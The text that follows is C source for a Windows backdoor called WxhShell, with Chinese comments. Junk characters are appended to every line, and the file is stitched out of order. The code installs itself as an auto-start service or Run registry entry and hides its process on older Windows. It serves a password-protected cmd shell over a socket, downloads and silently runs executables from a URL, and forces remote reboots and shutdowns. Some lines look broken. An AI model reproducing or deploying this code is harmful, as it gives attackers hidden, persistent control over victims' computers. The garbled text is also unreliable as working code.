  case 'd': { %N-f9o8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Mhj.3nN  
    if(Boot(SHUTDOWN)) km#Rh^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]$a,/Jt  
    else { N[dv  
    closesocket(wsh); b!-F!Lq/+0  
    ExitThread(0); 5"&{Egc_  
    } ;K<W<v5m0N  
    break; N2S7=`5/T  
    } SAw. 6<Wy-  
  // 获取shell l?LP:;S  
  case 's': { Lr`G. e  
    CmdShell(wsh); El`f>o+EJ  
    closesocket(wsh); aY@st]p  
    ExitThread(0); lip1wR7  
    break; $P%b?Y/  
  } f^[:w1X$sM  
  // 退出 3XomnL{  
  case 'x': { #i~2C@]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hA_Y@&=W  
    CloseIt(wsh); YF<;s^&@u  
    break; Z3]ut #`  
    } ")ZsY9-P  
  // 离开 F~_)auH  
  case 'q': { vT>ki0P_;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7IH^5r  
    closesocket(wsh); 3[O;HS3|  
    WSACleanup(); an9k2 F.)  
    exit(1); 34\:1z+s M  
    break; u|a+ :r)*4  
        } <[mvfw  
  } (VzabO  
  } #4<Rs|K  
*w;=o}`  
  // 提示信息 89{@2TXR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _~b$6Nf!83  
} ,| EaW& 2  
  } <rs"$JJV  
<n:j@a\up0  
  return; zf>r@>S!L  
} }TS4D={1  
<MH| <hP  
// shell模块句柄 0au\X$)Q  
int CmdShell(SOCKET sock) cp7Rpqg  
{ GGR hM1II  
STARTUPINFO si; " )87GQ(R  
ZeroMemory(&si,sizeof(si)); \f7A j>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3Vj,O?(Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; On{p(| l  
PROCESS_INFORMATION ProcessInfo; T]tG,W1>i  
char cmdline[]="cmd"; [:!D.@h|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hVAP )"5  
  return 0; ekj@;6 d]  
} J0vCi}L  
ch%-Cg~%  
// 自身启动模式 ~~_!&  
int StartFromService(void) DxLN{g]B  
{ pkR+H|  
typedef struct C r~!N|(  
{ ,!RbFME&H  
  DWORD ExitStatus; Iq-+X3i  
  DWORD PebBaseAddress; f;;(Q-.  
  DWORD AffinityMask; <"" fJ`7  
  DWORD BasePriority; D<2|&xaR  
  ULONG UniqueProcessId; .l->O-=  
  ULONG InheritedFromUniqueProcessId; :>K=kZ=k  
}   PROCESS_BASIC_INFORMATION; Ws;}D}+  
aQK>q. t  
PROCNTQSIP NtQueryInformationProcess; /Af:{|'$%  
62 biOea  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u-a*fT  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n^Qt !~  
2vit{  
  HANDLE             hProcess; PfI~`ke  
  PROCESS_BASIC_INFORMATION pbi; buRK\C  
y0R5YCq\":  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8Jd\2T7h  
  if(NULL == hInst ) return 0; tC=`J%Ik  
prC1<rm  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'o#ve72z1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); + W ? / A]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rN'')n/F  
E r6'Ig|U  
  if (!NtQueryInformationProcess) return 0; 1{sfDw[s  
I3A@0'Vm;L  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); DJv;ed%x  
  if(!hProcess) return 0; :Qg3B ';  
APgP*,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qn+b*4  
e)[>E\u_  
  CloseHandle(hProcess); mE"?{~XVL  
(YbRYu  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S[bFS7[  
if(hProcess==NULL) return 0; Q]Fm4  
'L w4jq  
HMODULE hMod; z@nJ-*'U8  
char procName[255]; pm-SDp>s  
unsigned long cbNeeded; tkFGGc}w\  
wsyG~^>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F]hKi`@  
s:j"8ZH  
  CloseHandle(hProcess); ==[a7|q  
$ePBw~yu  
if(strstr(procName,"services")) return 1; // 以服务启动 A d0dg2Gw  
Cc?BJ  
  return 0; // 注册表启动 )19As8rL/o  
} ,haCZH {  
tH_e?6]  
// 主模块 X`dd"8%  
int StartWxhshell(LPSTR lpCmdLine) |=7ouFl  
{ 2l)J,z  
  SOCKET wsl; K +oFu%  
BOOL val=TRUE; S+Aq0B<  
  int port=0; ,7m Rb-*p  
  struct sockaddr_in door; (Yzy;"iAu  
*[Ld\lRj  
  if(wscfg.ws_autoins) Install(); +X4O.6Mn  
OIK14D:  
port=atoi(lpCmdLine); ,r{[lD^  
ps#+i  
if(port<=0) port=wscfg.ws_port; &R54?u^A  
s6(iiB%d  
  WSADATA data; D{&0r.2F  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8#OcrJzC  
~:Jw2 P2z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Jl^Rz;bQ-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); x(/KHpSWK  
  door.sin_family = AF_INET; bqwQi>^Cw  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -S]yXZ  
  door.sin_port = htons(port); A4,tv#z  
8*nl Wl9qo  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /YbyMj*  
closesocket(wsl); oaI|A^v  
return 1; aI$D qnF4  
} l[EnFbD6  
=qY!<DB[L  
  if(listen(wsl,2) == INVALID_SOCKET) { P=:mn>  
closesocket(wsl); ?=:wIMV  
return 1;  =#N;ZG  
} lMu}|d  
  Wxhshell(wsl); c?qg i"kS  
  WSACleanup(); N;XaK+_2F  
03ol!|X "9  
return 0; lP>}9^7I!  
D-7PO3F:F  
} &TqY\l  
$]4>;gTL'  
// 以NT服务方式启动 }QszOi\fV1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @J~n$^ke  
{ o2 =UUD&  
DWORD   status = 0; 'iM;e K  
  DWORD   specificError = 0xfffffff; wD}ojA&DU  
D];%Ey  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,6,sz]3-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3/P# 2&jt  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z~TG~_s  
  serviceStatus.dwWin32ExitCode     = 0; ;P9P2&c8c  
  serviceStatus.dwServiceSpecificExitCode = 0; h)[{{JSf  
  serviceStatus.dwCheckPoint       = 0; =yv_i]9AN  
  serviceStatus.dwWaitHint       = 0; s? /#8 `  
=HT:p:S  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6#S}EaWf  
  if (hServiceStatusHandle==0) return; i5  x[1  
`T H0*:aI  
status = GetLastError(); Wq_#46P-  
  if (status!=NO_ERROR) S^,1N 4  
{ I#0WN  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; W+3ZuAP\n  
    serviceStatus.dwCheckPoint       = 0; , Vz 1l_7  
    serviceStatus.dwWaitHint       = 0; MHN?ZHC)  
    serviceStatus.dwWin32ExitCode     = status; 74VN3m  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3[kY:5-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); KX e/i~AS  
    return; -aCtk$3  
  } d'~sy>  
8}m bfu o1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :3k&[W*  
  serviceStatus.dwCheckPoint       = 0; nJJ9>#<g$  
  serviceStatus.dwWaitHint       = 0; t?NB#/#%x  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0GR\iw$[J  
} o9dqHm  
Z^i=51  
// 处理NT服务事件,比如:启动、停止 !r:X`~\a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) t.sbfLu  
{ =`f6@4H  
switch(fdwControl) jk-hIl&  
{ tETT\y|'  
case SERVICE_CONTROL_STOP: #%CbZw@hJ9  
  serviceStatus.dwWin32ExitCode = 0; Z:VqBqK  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {@1C,8n;  
  serviceStatus.dwCheckPoint   = 0; OR[6pr@  
  serviceStatus.dwWaitHint     = 0; \Q+9sV 5,[  
  { 808E)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,3_;JT"5  
  } R:zPU   
  return; +NGjDa  
case SERVICE_CONTROL_PAUSE: acuch  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (pBOv:6  
  break; i"=6n>\  
case SERVICE_CONTROL_CONTINUE: 1O bxQ_x  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Sa!r ,l  
  break; ]3@6o*R;  
case SERVICE_CONTROL_INTERROGATE: ;[%_sVIy  
  break; YfBb=rN2s  
}; 0-H!\IB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _3UH"9g{  
} z;:c_y!f  
}q1@[ aE  
// 标准应用程序主函数 >C"f'!oM,j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p F\~T>  
{ )ndcBwQc"  
,}15Cse  
// 获取操作系统版本 M17oAVN7D  
OsIsNt=GetOsVer(); BIf E+L(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8$O=HE*  
BZy&;P  
  // 从命令行安装 VeO$n*O  
  if(strpbrk(lpCmdLine,"iI")) Install(); iOpMU  
jEj#|w  
  // 下载执行文件 )X{x\ /N  
if(wscfg.ws_downexe) { %u\Oj \8U  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )Lht}I ]:  
  WinExec(wscfg.ws_filenam,SW_HIDE); I`"8}d@Jm  
} J+f .r|?  
rj qX|  
if(!OsIsNt) { Ju3-ZFUS4  
// 如果时win9x,隐藏进程并且设置为注册表启动 "0o1M\6Z  
HideProc(); fj X~"U  
StartWxhshell(lpCmdLine); ZD{%0 uh  
} +]|aACt]  
else hzIP ?0^E  
  if(StartFromService()) {@Y|"qIN  
  // 以服务方式启动 h8;B+#f`  
  StartServiceCtrlDispatcher(DispatchTable); 6~8A$:  
else 1{N73]-M:  
  // 普通方式启动 `YTagUq7  
  StartWxhshell(lpCmdLine); 70NQ9*AAy  
~[|&)}q  
return 0; Zw+VcZz3  
} jR-`ee}y2  
s BP.P7u  
ok;Yxp>  
M<Mr L[*j  
=========================================== 7Iu^ l4=2  
hS]g^S==2h  
d (Ufj|;  
85; BS'  
' uvTOgP,  
Rd6? ,  
" 3R(GO.n=]  
Wz)O,X^  
#include <stdio.h> 0yW#).D^b  
#include <string.h> n:JWu0,h  
#include <windows.h> cW B>  
#include <winsock2.h> $0WO 4C%M  
#include <winsvc.h> 68ce+|  
#include <urlmon.h> f8`K8Y]4  
,at"Q$)T  
#pragma comment (lib, "Ws2_32.lib") n< UuVu  
#pragma comment (lib, "urlmon.lib") 5wM*(H^c[  
juQ&v>9W)  
#define MAX_USER   100 // 最大客户端连接数 IC&xL9  
#define BUF_SOCK   200 // sock buffer <p"[jC2zF;  
#define KEY_BUFF   255 // 输入 buffer /]H6'  
"]M:+mH{]  
#define REBOOT     0   // 重启 _2Sb?]Xn  
#define SHUTDOWN   1   // 关机 3xS+Pu\)  
utIR\e#:B  
#define DEF_PORT   5000 // 监听端口 :V1ttRW}52  
eliT<sw8  
#define REG_LEN     16   // 注册表键长度 A/n-.ci  
#define SVC_LEN     80   // NT服务名长度 i^j1 i  
0$)CWah  
// 从dll定义API 2e_ssBbb  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); WP)r5;Hv`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 06@^knm  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); oBZ\mk L  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5WN^8`{'3  
tfzIem  
// wxhshell配置信息 xWk:7,/  
struct WSCFG { %:I\M)t}k  
  int ws_port;         // 监听端口 , ~^0AtLv  
  char ws_passstr[REG_LEN]; // 口令 eELJDSd BV  
  int ws_autoins;       // 安装标记, 1=yes 0=no OO?d[7Wt0  
  char ws_regname[REG_LEN]; // 注册表键名 =O= 0 D  
  char ws_svcname[REG_LEN]; // 服务名 :s8^nEK  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K)z{R n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6"@+Jz  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0* Ox>O>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no EBjSK/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" M B]8iy8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @Qw~z0PE<l  
|l\&4/SJ  
}; [RtTi<F^  
h2kb a6rwk  
// default Wxhshell configuration ovv<7`  
struct WSCFG wscfg={DEF_PORT, .FUws  
    "xuhuanlingzhe", VO#x+u]/  
    1, D$C>ZF  
    "Wxhshell", O$QtZE61  
    "Wxhshell", U5X\RXy~  
            "WxhShell Service", *1F DK{  
    "Wrsky Windows CmdShell Service", ^%(HZ'$wC  
    "Please Input Your Password: ", f681i(q"  
  1, cM&5SyxiuE  
  "http://www.wrsky.com/wxhshell.exe", ~JjL411pG  
  "Wxhshell.exe" 2'O2n]{  
    }; EfxW^zm)  
C:S*ju K  
// 消息定义模块 Ore>j+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L%G/%*7;c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; VyQ@. Lm  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H CKD0xx  
char *msg_ws_ext="\n\rExit."; ;Du+C%  
char *msg_ws_end="\n\rQuit."; 8K: RoR  
char *msg_ws_boot="\n\rReboot..."; bI~ R6o  
char *msg_ws_poff="\n\rShutdown..."; WZz8VF  
char *msg_ws_down="\n\rSave to "; Cjh0 .{  
{ Ju  
char *msg_ws_err="\n\rErr!"; Z(Styn/x  
char *msg_ws_ok="\n\rOK!"; a?Q\nu1  
W+HiH`Qb]  
char ExeFile[MAX_PATH]; )xJCH9h  
int nUser = 0; SU,S1C_q8  
HANDLE handles[MAX_USER]; gc~nT/lfK  
int OsIsNt; Z) nB  
Ul"9zTH  
SERVICE_STATUS       serviceStatus; 50,`=Z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; iuxI$  
l%vX$Kw  
// 函数声明 Ir%L%MuR]  
int Install(void); F@m]Imn5Dx  
int Uninstall(void); O &DkB*-  
int DownloadFile(char *sURL, SOCKET wsh); iBCZx>![;  
int Boot(int flag); 6T-h("t  
void HideProc(void); ]=X6* E*/E  
int GetOsVer(void); s98Jh(~  
int Wxhshell(SOCKET wsl); ;#'YO1`gf3  
void TalkWithClient(void *cs); L`sg60z  
int CmdShell(SOCKET sock); Po(Y',xI[  
int StartFromService(void); ug?gVK  
int StartWxhshell(LPSTR lpCmdLine); M  ::  
kV >[$6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X`-7: !+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); MNC=r?  
QaAA@l  
// 数据结构和表定义 0r<?Ve  
SERVICE_TABLE_ENTRY DispatchTable[] = 4:umD*d 3E  
{ hw2'.}B"(  
{wscfg.ws_svcname, NTServiceMain}, #vwK6'z  
{NULL, NULL} 54[#&T$S  
}; e}@VR<h  
YUGE>"{  
// 自我安装 zN3[W`q+m  
int Install(void) gMXs&`7P  
{ &%@e6..Ex  
  char svExeFile[MAX_PATH]; l=|>9,La  
  HKEY key; Q#kSp8  
  strcpy(svExeFile,ExeFile); G909R>  
e>F i  
// 如果是win9x系统,修改注册表设为自启动 g`7C1&U*T  
if(!OsIsNt) { ,W8E U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %@L[=\ 9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -|z ]Ir  
  RegCloseKey(key); KU]co4]8^s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Za[ ?CA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0o2*X|i(  
  RegCloseKey(key); ! qVuhad.  
  return 0; C8{bqmlm@  
    } + 6noQYe  
  } Q!9  
} n8p vzlj1  
else { WdWMZh  
|Do+=Gr$t@  
// 如果是NT以上系统,安装为系统服务 LDDg g u   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); IOfxx>=3  
if (schSCManager!=0) [Sr^CY P(  
{ ?g{--'L  
  SC_HANDLE schService = CreateService A&?8 rc  
  ( K20,aWBq;3  
  schSCManager, /gX=79  
  wscfg.ws_svcname, [c^!;YBp)  
  wscfg.ws_svcdisp, N F$k~r  
  SERVICE_ALL_ACCESS, QJ i5 H  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (6}[y\a+  
  SERVICE_AUTO_START, enC/@){~  
  SERVICE_ERROR_NORMAL, -1_WE/Ps  
  svExeFile, O'Mo/ u1-  
  NULL, n%faD  
  NULL, lr*p\vH  
  NULL, 1;*4y J2  
  NULL, ;\]& k  
  NULL M2kvj'WWq  
  ); 'c&[kMR  
  if (schService!=0) bIXudE[8zq  
  { <<=.;`(/v  
  CloseServiceHandle(schService); 8A jQPDn+  
  CloseServiceHandle(schSCManager); f]pHJVgFV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); AX%N:)_$|  
  strcat(svExeFile,wscfg.ws_svcname); m&P B5s\=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { P,Z K  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %K`th&331  
  RegCloseKey(key); o5@d1A  
  return 0; Z bW!c1s{  
    } bcR";cE  
  } Ao )\/AR'  
  CloseServiceHandle(schSCManager); ybC0Ee@  
} Aaw]=8 OI  
} -l Y,lC>{  
m >Rdsn~l  
return 1; A_!N,< -  
} H9\,;kM)  
!+k);;.+  
// 自我卸载 /Hs\`Kg"!  
int Uninstall(void) I[6ft_*  
{ 8aqH;|fG}  
  HKEY key; K/YXLR +  
+C}s"qrb@  
if(!OsIsNt) { UVd ^tg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HJi FlL3  
  RegDeleteValue(key,wscfg.ws_regname); WaPuJ 5;e  
  RegCloseKey(key); &ggOm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lt{D f~c  
  RegDeleteValue(key,wscfg.ws_regname); a'%eyN  
  RegCloseKey(key); en_W4\7^  
  return 0; .GSK!1{@  
  } 8I}ATc  
} "X(9.6$_  
} y$}o{VE{x  
else { Z=m5V(9  
Gw$Y`]ipy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4wkmgS  
if (schSCManager!=0) A-eRL`  
{ !X5LgMw^;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); aBd>.]l?  
  if (schService!=0) qOTo p-  
  { H %Dcp#k  
  if(DeleteService(schService)!=0) { [$DI!%e|  
  CloseServiceHandle(schService); zNO,vR[\  
  CloseServiceHandle(schSCManager); x MFo  
  return 0; aI\:7  
  } {UFs1  
  CloseServiceHandle(schService); dw-o71(1d  
  }  nb\pBl  
  CloseServiceHandle(schSCManager); o zMn8@R  
} fB)S:f|  
} 7Y%Si5  
K0{ ,*>C  
return 1; n%ypxY0  
} -l~+cI\2  
P8X59^cJ  
// 从指定url下载文件 ei82pLM z  
int DownloadFile(char *sURL, SOCKET wsh) ]&?8l:3-G  
{ I&%KOe0  
  HRESULT hr; Eb7GiRT#  
char seps[]= "/"; "$nff=]  
char *token; =D`:2k~ ,  
char *file; U+Vb#U7;  
char myURL[MAX_PATH]; >|pN4FS  
char myFILE[MAX_PATH]; V/+D]  
ydTd.`  
strcpy(myURL,sURL); Sc?q}tt^C  
  token=strtok(myURL,seps); aF{1V \e  
  while(token!=NULL) >rYkVlv  
  { %,+&Kl I  
    file=token; z.~jqxA9  
  token=strtok(NULL,seps); (j-_iOQ]i+  
  } '-BD.^!!  
gle<{ `   
GetCurrentDirectory(MAX_PATH,myFILE); 48,uO !  
strcat(myFILE, "\\"); 3ESrd"W=  
strcat(myFILE, file); /?1^&a  
  send(wsh,myFILE,strlen(myFILE),0); d f j;e%H  
send(wsh,"...",3,0); ]m :Y|,:6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n= q7*<l  
  if(hr==S_OK) HPX JRQBE  
return 0; HF<h-gX  
else z~th{4#E ;  
return 1; e!ql8wbp  
LvCX(yjZ*  
} v"l8[::  
&bigLe  
// 系统电源模块 r3+   
int Boot(int flag) ( e#f  
{ .JBTU>1]_n  
  HANDLE hToken; P VSz%"  
  TOKEN_PRIVILEGES tkp; t[ZGY,8  
y"|gC!V}  
  if(OsIsNt) { C[,&Y&`j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); K@vU_x0Sl  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9 /=+2SZ  
    tkp.PrivilegeCount = 1; lf\^!E:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WFTwFm6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s &f\gp1  
if(flag==REBOOT) { 9w6 uoM  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hlfdmh? /  
  return 0; MvTp%d.  
} m8 6ztP)  
else { }S;A%gYm  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) w3&L 6|,  
  return 0; :m<#\!?  
} |_hIl(6F5N  
  } tF6-@T\6  
  else { o%OwKp s  
if(flag==REBOOT) { Hb[P|pPT  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T_d)1m fl  
  return 0; }/4),W@<  
} d(K}v\3!  
else { Z^J 7r&\V  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \zeuvD  
  return 0; BZ(DP_}&D  
} "y60YYn-#J  
} ^I{/j 'b&  
X%T%N;P  
return 1; W^pf 1I8[  
} n7|,b- <  
VI-6t"l  
// win9x进程隐藏模块 dU2:H}  
void HideProc(void) 0]zMb^wo  
{ +p$lVnAt  
SX&Q5:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); eCiI=HcW;  
  if ( hKernel != NULL ) gfKv$~  
  { NieNfurG%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); i7e_~K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ltKMvGEF  
    FreeLibrary(hKernel); EeGTBVms  
  } _j*a5fsPU  
tns4e\  
return; f@k.4aS  
} !="8ok+  
7 .]H9  
// 获取操作系统版本 yY]E~  
int GetOsVer(void)  `fE'$2  
{ i1K$~  
  OSVERSIONINFO winfo; f`iDF+h<6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !JBj%|!  
  GetVersionEx(&winfo); u'^kpr`y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) MY^o0N  
  return 1; ;0`IFtz  
  else >I',%v\?@  
  return 0; LQR^lD+_=  
} =&<d4'(Qk  
/&9R*xNST#  
// 客户端句柄模块 JIsi  
int Wxhshell(SOCKET wsl) +|TXKhm{  
{ M@Ti$=  
  SOCKET wsh; v57<b&p26  
  struct sockaddr_in client; Er - rm  
  DWORD myID; 7* [  
N( f0,  
  while(nUser<MAX_USER) QP<.~^ao  
{ zN=s]b=/  
  int nSize=sizeof(client); yMC6 Gvp  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); s5V|.R  
  if(wsh==INVALID_SOCKET) return 1; D/=k9[b!  
a}iP +#;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); li{!Jp5]1b  
if(handles[nUser]==0) C{+JrHV%h  
  closesocket(wsh); TF80WMt  
else YI`BA`BQ8  
  nUser++; BO8?{~i  
  } 4$81ilBcL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :98:U~ d1  
6Kw?  
  return 0; +N'&6z0Wf  
} Z:^ S-h  
2H`>Kj  
// 关闭 socket 3d,:,f|h  
void CloseIt(SOCKET wsh) #hk5z;J5  
{ Q3Y(K\  
closesocket(wsh); dkqyn"^  
nUser--; c?KIHZ0  
ExitThread(0); #<s"?Y%-  
} @}Q!K*  
UFC^ lv  
// 客户端请求句柄 Z{/GT7 /  
void TalkWithClient(void *cs) rU(-R@["  
{ l%p,m [  
m77 !i>V)  
  SOCKET wsh=(SOCKET)cs; G:@1.H`  
  char pwd[SVC_LEN]; sk*vmxClY  
  char cmd[KEY_BUFF]; i|xz  
char chr[1]; .&`apQD}  
int i,j; QjD=JC+  
1f'msy/  
  while (nUser < MAX_USER) { 6!N2B[9  
A8o)^T(vJ  
if(wscfg.ws_passstr) { i g .  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P s<k2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5X9Lh_p  
  //ZeroMemory(pwd,KEY_BUFF);  Pa?{}A  
      i=0; fsWIz1K  
  while(i<SVC_LEN) { nrX+  '  
i r'C(zD=  
  // 设置超时 \(&&ed:  
  fd_set FdRead; cmAdQ)(Kzd  
  struct timeval TimeOut; <_]W1V:0  
  FD_ZERO(&FdRead); .$ YYN/+W  
  FD_SET(wsh,&FdRead); 6{0MprY  
  TimeOut.tv_sec=8; REh\WgV!u  
  TimeOut.tv_usec=0; URt+MTU[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); j)#yyK{k2s  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7j29wvSp5  
@1' Y/dCyD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EWY'E;0@5  
  pwd=chr[0]; ZE= Yn~XM  
  if(chr[0]==0xd || chr[0]==0xa) { *xITMi  
  pwd=0; Xbrc_ V\_  
  break; WJ LqH<  
  } }%<_>b\  
  i++; 9XhH*tBn7(  
    } M%RH4%NZ0  
&pR 8sySu  
  // 如果是非法用户,关闭 socket TA qX f_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z[B:6\oQ  
} E|jU8qz>P  
l2YA/9.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,?HM5c{'[Y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )jt?X}  
0c8_&  
while(1) { TP~1-(M)}  
xE$lx:C"FU  
  ZeroMemory(cmd,KEY_BUFF); K-K>'T9F}  
fVVD}GM=  
      // 自动支持客户端 telnet标准   P,xJVo\  
  j=0; =BJe}AV  
  while(j<KEY_BUFF) { b TZ.y.sI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); atmW? Z  
  cmd[j]=chr[0]; .:GOKyr(~  
  if(chr[0]==0xa || chr[0]==0xd) { #{^qBP[  
  cmd[j]=0; g#Ta03\  
  break; y y[Y=  
  } YU!s;h  
  j++; 8R-;cBT  
    } ]!N=Z }LD  
O{Mn\M6  
  // 下载文件 :z *jl'L  
  if(strstr(cmd,"http://")) { x9S9%JG :  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); z#rp8-HUDS  
  if(DownloadFile(cmd,wsh)) ;>;it5 l=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "Nz@jv?  
  else >oaL-01i  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o^MoU2c  
  } "WO0 rh`  
